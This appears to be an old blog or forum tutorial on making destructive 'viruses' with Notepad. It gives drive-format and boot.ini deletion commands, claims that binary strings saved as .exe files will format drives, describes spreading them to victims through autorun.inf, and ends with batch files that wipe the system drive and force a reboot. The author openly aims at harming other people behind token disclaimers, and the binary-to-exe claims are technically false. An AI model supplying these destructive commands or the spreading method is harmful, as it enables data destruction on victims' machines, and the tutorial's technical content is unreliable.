Many people do not know that notepad serves as a HEX and binary
editor too, and if you do not have an programming text editor or a
Binary Editor then you can make many changes to system configuration
files or make your own using this nifty little tool
Now using a binary editor or notepad I will teach you how to format
an HDD using notepad. Consider it one of the first steps in learning to
write a Virus.
But please use it only to make your repair/debugging work on your Windows System simpler, and not to infect others.
Basic drive formating using Notepad-
Step 1.
Copy The Following In Notepad Exactly as it says 01001011000111110010010101010101010000011111100000
Step 2.
Save As An EXE Any Name Will Do. (Make sure in the save as dialog box you have selected All Files from filetype drop down)
Run the EXE to format the current Partition.
Now many think that one cannot format C drive when windows is
running, well you can laught he evil laugh now cause it is possible with
an Admin login and theright attributes .
Now to format the c drive with windows running just type in the command prompt format c:\ /Q/X
The Binary code for the same command is given below, and now you
know what to do with it – paste it in notepad and save it as an exe.
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
For other drives-
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
what this one does is it deletes your boot.ini file and thus the
bootloader can’t find the windows directory to boot from. It can be
easily repaired using any XP install disc and the know how, but that it
for another post.

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

Now that you have made the exe files to cause the mayhem, many will
be wondering how to make this information useful (to f**k with other
people), well i will show you the social engineering combined to make
this into a true virus, make an autorun.inf file that points to these
exe’s. What does it do, well the autorun.inf is the file in a
CD/pendrive that causes the autorun to happen, and you can write your
own so that your code runs as soon as the media is inserted to a victims
computer.
Now you can combine the binary code (as diffrent lines in an exe
file) to make a combined complete erase exe, or you can make a batch
file to run them individually according to a menu – that makes it a tool
for you!!! Works great.
Note : Do not try it on your PC. Don’t mess around with
this is for educational purpose only. And please backup your data before
experimenting.
Also I can’t spoon feed how to make batch files, autoruns, or
serious system level code writing, but mark my words all one needs is
the basic simple tools and a little bit of creativity to make a succeful
exploit.
Now i present you some batch files that also mess with peoples
drives, one that deletes all files on a drive, and the other the
partitions:
Go to notepad and type the following:
@Echo off
Del C:\ *.*|y
save it as anyname.bat
want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file
Do not in any circumstance run these (double click any of these exe’s or bat files) on your own computer!!!
